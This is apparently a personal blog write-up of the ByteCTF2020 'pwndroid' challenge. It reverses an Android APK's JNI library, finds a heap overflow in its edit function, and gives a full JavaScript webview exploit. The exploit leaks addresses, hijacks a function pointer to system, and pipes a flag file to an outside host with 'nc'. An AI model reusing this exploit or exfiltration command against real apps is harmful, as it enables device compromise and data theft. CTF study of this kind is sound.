Mid Station

[ByteCTF2020 Quals] - pwndroid

11月总是会有好事发生的。

This is a challenge from ByteCTF2020, a simple heap challenge but ran on android. I learned a lot about webview and native interface from it. Four teams solved it during the game, I’m lucky enough to get the flag in the last hour.

Recon

I have never tried any Android pwn challenge before, only have every limit knowledge about reversing an APK. The organizer provides an APK file and a website. The website is down when I’m writing this post, so I can only recall rough information from the webpage.

  • The remote system is running x86 emulator with android default image, API version 24
  • The player needs to solve a POW and provide an IP address
  • I think the server will download the html file from the provided IP address and serve it on http://192.168.1.1
  • server kill previous pwndroid process and launch the APP via adb shell am start -a "android.intent.action.VIEW" -d "pwndroid://192.168.1.1"

Native library file

Because this is a pwn challenge, this first thing came up in my mind was the Native Development Kit (NDK), so I did not fire up an APK decompiler first, but uncompress the APK and look for a .so file. The is a native library call libNDKLib.so in lib/x86 .

Open the lib file with ida, we can see a bunch of funcitons name start with Java_ctf_bytedance_pwndroid_JNITools_, and some helper functions like ByteToHexStr ,HexStrToByte ,unhex . Going through all these native functions, we found that there are add , show, free, edit, just like typical heap challenage in glibc. It trivial to spot that there might be a vulnerability in Java_ctf_bytedance_pwndroid_JNITools_edit:

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl Java_ctf_bytedance_pwndroid_JNITools_edit(int a1, int a2, int idx, size_t size, int content)
{
const void *src; // [esp+28h] [ebp-34h]
char *v7; // [esp+2Ch] [ebp-30h]

if ( (unsigned __int8)(idx >= 0) >= 0x10u || !heap_list[idx] )
return 0;
v7 = (char *)_JNIEnv::GetStringUTFChars(a1, content, 0);
src = (const void *)unhex(v7);
memcpy(**((void ***)&(*(&off_2FB0 - 2))->d_tag + idx), src, size);
return 1;
}

So there is no check for the size before memcpy , it might cause a heap overflow. But we need to figure out if there exist other checks on Java level.

APK Reversing

It took me a while to find a suitable tool for decompiling the APK, it turned out jadx-gui did a nice job. The APK is not obfuscated, so the core logic is not difficult to understand.

decomplie.pngdecomplie.png

  • JNITools class is an interface for the native library.
  • NativeMethods class is an interface for the JNITools, it extracts arguments from JSONObject, invoking corresponding native library function, return the results, and process callbacks.
  • JSBridge class is the interface interacting with JavaScript, which is used to register NativeMethods .
  • Pwnme is the Activity class, which is used to register JSBridge and exposed the Javascript interface to Webview.

Overviewing the whole logic, the Pwnme Activity accepts an URL from Intent, then open a webview. The JavaScript code on the webview can be used to interact with the native library, there are no checks and users can fully control the arguments of native function calls from the webview. It is kind of similar to the browser pwn challenge, we need to write JavaScript to construct the exploit.

Debug Environment

We can download Android studio, and with AVD Manager, we can download the correct image: x86, API 24, default. Then we can debug the application with adb, the system has preinstalled gdbserver , so it is pretty handy. But make sure the image is the default one, not the one with Google API and Play store. I once finished the exploit on the one with Google API and waste a few hours to debug.
debug envdebug env
We can forward the 4444 port of Android system to the host system with the command:

1
adb forward tcp:4444 tcp:4444

and then lauch gdbserver inside Andorid

1
gdbserver --attach :4444 `pid`

now we can attach a gdb session to the gdbserver.

PoC

The next question is how to invoke the native functions from JavaScript. I searched the keyword: “jsbridge android native” on google and the first link told me the answer, with following Java code:

1
2
3
4
5
6
7
8
9
10
11
12
class JsMethodApi {

/**
* js调用native,可能需要回调
*/
@JavascriptInterface
public void callNative(String jsonString) {
...
}
}

webView.addJavascriptInterface(new JsMethodApi(), "mJsMethodApi");

The corresponding JavaScript caller is like:

1
2
3
4
5
<head>
<script type="text/javascript" >
JsMethodApi.callNative('头部就可以回调');
</script>
</head>

According to the decompiled result, we can construct following test the interface with following JavaScript code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html>
<head>
<script type="text/javascript" >
function print_res(res) {
document.write(JSON.stringify(res) + "\n")
}

function add(idx, size, content) {
var arg = {
data: {
idx: idx,
size: size,
content: content,
},
cbName: "print_res"
}
_jsbridge.call("add", JSON.stringify(arg));
}

add(0, 0x20, "A"*0x20);
</script>
</head>
</html>

Launch the app with adb shell am start -a "android.intent.action.VIEW" -d "pwndroid://192.168.1.1" , it will show a Toast message with invoking arguments, and the result will be displayed on the webview.
Now that we have verified the JSBridge works, and we know about the vulnerability, we can construct a PoC to crash the process.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<html>
<head>
<script type="text/javascript" >
function print_res(res) {
document.write(JSON.stringify(res) + "\n")
}

function add(idx, size, content) {
var arg = {
data: {
idx: idx,
size: size,
content: content,
},
cbName: "print_res"
}
_jsbridge.call("add", JSON.stringify(arg));
}

function edit(idx, size, content) {
var arg = {
data: {
idx: idx,
size: size,
content: content,
},
cbName: "print_res"
}
_jsbridge.call("edit", JSON.stringify(arg));
}

function show(idx) {
var arg = {
data : {
idx: idx
},
cbName: "print_res"
}
_jsbridge.call("show", JSON.stringify(arg));
}

function free(idx) {
var arg = {
data : {
idx: idx
},
cbName: "print_res"
}
_jsbridge.call("free", JSON.stringify(arg));
}

add(0, 0x20, "A".repeat(0x20));
edit(0, 0x2000, "A".repeat(0x2000));

</script>
</head>
</html>

This script overflows number 0 item on heap and trigger a crash.

1
2
3
4
5
6
7
8
9
10
11
12
13
10-27 03:22:27.318  3640  3651 F libc    : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xf210458b in tid 3651 (HeapTaskDaemon)
10-27 03:22:27.319 1290 1290 W : debuggerd: handling request: pid=3640 uid=10062 gid=10062 tid=3651
10-27 03:22:27.320 3640 3640 W art : Attempt to remove non-JNI local reference, dumping thread
10-27 03:22:27.335 3691 3691 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
10-27 03:22:27.335 3691 3691 F DEBUG : Build fingerprint: 'Android/sdk_phone_x86/generic_x86:7.0/NYC/4174735:userdebug/test-keys'
10-27 03:22:27.335 3691 3691 F DEBUG : Revision: '0'
10-27 03:22:27.335 3691 3691 F DEBUG : ABI: 'x86'
10-27 03:22:27.335 3691 3691 F DEBUG : pid: 3640, tid: 3651, name: HeapTaskDaemon >>> ctf.bytedance.pwndroid <<<
10-27 03:22:27.335 3691 3691 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xf210458b
10-27 03:22:27.335 3691 3691 F DEBUG : eax f210458b ebx a8dfbb6c ecx 9f351eb4 edx 9f351a5c
10-27 03:22:27.335 3691 3691 F DEBUG : esi f210458b edi a8eb366c
10-27 03:22:27.335 3691 3691 F DEBUG : xcs 00000073 xds 0000007b xes 0000007b xfs 0000003b xss 0000007b
10-27 03:22:27.335 3691 3691 F DEBUG : eip a890ad72 ebp a7cca088 esp a7cca060 flags 0001028

Exploit Development

With a heap overflow vulnerability, we want to know what we can control on the heap. From Java_ctf_bytedance_pwndroid_JNITools_add , we know that the item struct is in the size of 8 bytes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl Java_ctf_bytedance_pwndroid_JNITools_add(int a1, int a2, int a3, size_t size, int a5)
{
void *v5; // eax
int v6; // esi
int v7; // edi
const void *v9; // [esp+28h] [ebp-34h]
char *v10; // [esp+2Ch] [ebp-30h]

if ( (unsigned __int8)(a3 >= 0) >= 0x10u )
return 0;
v10 = (char *)_JNIEnv::GetStringUTFChars(a1, a5, 0);
v9 = (const void *)unhex(v10);
*(&(*(&off_2FB0 - 2))->d_tag + a3) = (__int32)malloc(8u);
v5 = malloc(size);
v6 = (int)*(&off_2FB0 - 2);
v7 = (int)*(&off_2FB0 - 1);
**(_DWORD **)(v6 + 4 * a3) = v5;
*(_DWORD *)(*(_DWORD *)(v6 + 4 * a3) + 4) = v7;
memcpy(**(void ***)(v6 + 4 * a3), v9, size);
return heap_list[a3];
}

And we can have a better view of the memory layout if we attach to the process after a simple heap spray, with following JavaScript code:

1
2
3
4
for (i=0; i<0x10; i++) {
var c = i.toString(16);
add(i, 8, c.repeat(8))
}

We have the memory layout like following, where $B is the base address of libNDKLib.so:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
gef➤  set $B=0x8f284000
gef➤ tele $B+0x3000
0x8f287000│+0x0000: 0xacaa7d480xacaa7d580x00000000
0x8f287004│+0x0004: 0xacaa7dd00xacaa7de00x11111111
0x8f287008│+0x0008: 0xacaa7dc00xacaa7df00x22222222
0x8f28700c│+0x000c: 0xacaa7dc80xacaa7e000x33333333
0x8f287010│+0x0010: 0xacaa7de80xacaa7e10"DDDD"
0x8f287014│+0x0014: 0xacaa7df80xacaa7e20"UUUU"
0x8f287018│+0x0018: 0xacaa7e080xacaa7e78"ffff"
0x8f28701c│+0x001c: 0xacaa7e180xacaa7e880x77777777
0x8f287020│+0x0020: 0xacaa7e280xacaa7e980x88888888
0x8f287024│+0x0024: 0xacaa7e800xacaa7ea80x99999999
gef➤
0x8f287028│+0x0028: 0xacaa7e900xacaa7ab00xaaaaaaaa
0x8f28702c│+0x002c: 0xacaa7ea00xacaa7ec00xbbbbbbbb
0x8f287030│+0x0030: 0xacaa7eb00xacaa7ed00xcccccccc
0x8f287034│+0x0034: 0xacaa7eb80xacaa7ee00xdddddddd
0x8f287038│+0x0038: 0xacaa7ec80xacaa7ef00xeeeeeeee
0x8f28703c│+0x003c: 0xacaa7ed80xacaa7f000xffffffff
0x8f287040│+0x0040: 0x00000000
0x8f287044│+0x0044: 0x00000000
0x8f287048│+0x0048: 0x00000000
0x8f28704c│+0x004c: 0x00000000
gef➤ tele 0xacaa7e20
0xacaa7e20│+0x0000: "UUUU"
0xacaa7e24│+0x0004: 0x00000000
0xacaa7e28│+0x0008: 0xacaa7e980x888888880x56077c0a0x00000000
0xacaa7e2c│+0x000c: 0x8f284bf0 → <print_handle(char*)+0> push ebp
0xacaa7e30│+0x0010: 0x00000260
0xacaa7e34│+0x0014: 0x8cd341280x8cab31900x8bb7f1f00x8cab31700x8b299ff00x8cab3eb00x00000000
0xacaa7e38│+0x0018: 0x00000000
0xacaa7e3c│+0x001c: 0x00000000
0xacaa7e40│+0x0020: 0x00000001
0xacaa7e44│+0x0024: 0x00000000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
+------------+               +--------------+
|ITEM 0 | +------>+buf5 |
|ITEM 1 | | |print_handle +---+
|ITEM 2 | | +--------------+ |
|ITEM 3 | | | | |
|ITEM 4 | | | | |
|ITEM 5 +-------+ +--------------+ |
|ITEM 6 | |5555 +<--+
|ITEM 7 | | |
|ITEM 8 +-------+ +--------------+
|... | +------>+buf8 +---+
| | |print_handle | |
| | +--------------+ |
| | | | |
| | | | |
| | +--------------+ |
| | |8888 +<--+
| | | |
+------------+ +--------------+

So we can first fill buf5 and show buf5 to leak buf8 ptr as well as print_handle ptr. Because there is no size control on show function and it will terminal at \x00 .
Then we can have libNDKLib.so base address and heap address.
Though Android is using jemalloc which I’m totally not familiar with. But with this memory layout we can easily achieve arbitrary read-write as well as hijack the control flow.
We can first overwrite buf8 ptr and leak libc address on libNDKLib.so ‘s bss. Then overwite print_handle ptr to system function. Triggering by showing the correct item, that will give us an arbitrary command execution. We can write the content to cat /data/local/tmp/flag | nc ip 31337 and send the flag back to remote server.
The exploit uses Promise to delay some function calls, otherwise, the new commands will be sent before the addresses were leak.
Here is the full exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
<!-- ByteCTF{cc669ecc-e606-42cf-b534-70c0ce5795b8} -->
<html>
<head>
<script type="text/javascript" >
var leak_heap = 0;
var leak_NDK = 0;
var NDK_base = 0;
var leak_libc = 0;
var libc = 0;
function foo() {}

function toLittleEndian(s) {
return s.slice(6, 8) + s.slice(4, 6) + s.slice(2, 4) + s.slice(0, 2);
}

function init() {
var arg = {
data : {
idx: 0
},
cbName: "foo"
}
_jsbridge.call("show", JSON.stringify(arg));
}

function print_res(res) {
document.write(JSON.stringify(res) + "\n")
}

function print(s){
document.write(s + "\n")
}

function add(idx, size, content) {
var arg = {
data: {
idx: idx,
size: size,
content: content,
},
cbName: "print_res"
}
_jsbridge.call("add", JSON.stringify(arg));
}

function edit(idx, size, content) {
var arg = {
data: {
idx: idx,
size: size,
content: content,
},
cbName: "print_res"
}
_jsbridge.call("edit", JSON.stringify(arg));
}

function show(idx) {
var arg = {
data : {
idx: idx
},
cbName: "print_res"
}
_jsbridge.call("show", JSON.stringify(arg));
}

function free(idx) {
var arg = {
data : {
idx: idx
},
cbName: "print_res"
}
_jsbridge.call("free", JSON.stringify(arg));
}

function leakCB1(obj) {
var msg = obj.msg
leak_heap = parseInt(toLittleEndian(msg.slice(0x10, 0x18)), 16);
leak_NDK = parseInt(toLittleEndian(msg.slice(0x18, 0x20)), 16);
NDK_base = leak_NDK - 0xbf0;
print("leak_heap: " + leak_heap.toString(16));
print("leak_NDK: " + leak_NDK.toString(16));
print("NDK_base: " + NDK_base.toString(16));

}

function leak1() {
var arg = {
data : {
idx: 5
},
cbName: "leakCB1"
}
_jsbridge.call("show", JSON.stringify(arg));
}

function leakCB2(obj) {
var msg = obj.msg
leak_libc = parseInt(toLittleEndian(msg.slice(0x0, 0x8)), 16);
libc = leak_libc - 0x192f0;
print("leak_libc: " + leak_libc.toString(16));
print("libc: " + libc.toString(16));
}

function leak2() {
var arg = {
data : {
idx: 8
},
cbName: "leakCB2"
}
_jsbridge.call("show", JSON.stringify(arg));
}

function sleep (time) {
return new Promise((resolve) => setTimeout(resolve, time));
}

function pwn() {
for (i=0; i<0x10; i++) {
var c = i.toString(16);
add(i, 8, c.repeat(8))
}
edit(5, 0x8, "41".repeat(8))
leak1()
sleep(500).then(() => {
var got = NDK_base + 0x2ff4;
print("got: " + got.toString(16));
edit(5, 12, "41".repeat(8) + toLittleEndian(got.toString(16)));
leak2();
})
sleep(1000).then(() => {
var system = libc + 0x72b60
var bss = NDK_base + 0x3080
print("system: " +bss.toString(16));
print("cmd: " + bss.toString(16));
edit(5, 12, "41".repeat(8) + toLittleEndian(bss.toString(16)));
// cat /data/local/tmp/flag | nc 192.168.1.1 31337
var cmd = "636174202f646174612f6c6f63616c2f746d702f666c6167207c206e63203139322e3136382e312e31203331333337"

edit(8, cmd.length, cmd);
edit(5, 16, "41".repeat(8) + toLittleEndian(bss.toString(16)) + toLittleEndian(system.toString(16)));
})
// trigger!
sleep(1500).then(() => {
// document.write("<button type=\"button\" onclick=\"show(8)\">Pwn!</button>")
show(8)
})
}
init()
pwn()

</script>
</head>
<!-- <button type="button" onclick="pwn()">Click Me!</button> -->
</html>

Now we can deploy this html file on VPS, fire up nc -lvp 31337 to wait for the flag, and sumbit the ip address with following python script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import re
import IPython
import string
from hashlib import sha256
from pwnlib.util.iters import *

session = requests.Session()
r = session.get("http://112.126.65.213:30771/")
line = re.search(r"sha256[^<]+", r.content).group()
chal = line.split("'")[1]
print chal

def func1(s):
global chal
return sha256(chal+s).hexdigest().startswith('000000')

ans = mbruteforce(func1, string.letters+string.digits, 8)
print ans
print sha256(chal+ans).hexdigest()

r = session.post("http://112.126.65.213:30771/go", data={"pow": ans, "url": ip})
print r.content

Wrapup

The challenge is scary at the first look, I predicted it involves some jemalloc heap exploitation techniques, but turns out it does not. I learned a lot about Android Native Development and Webview from this challenge.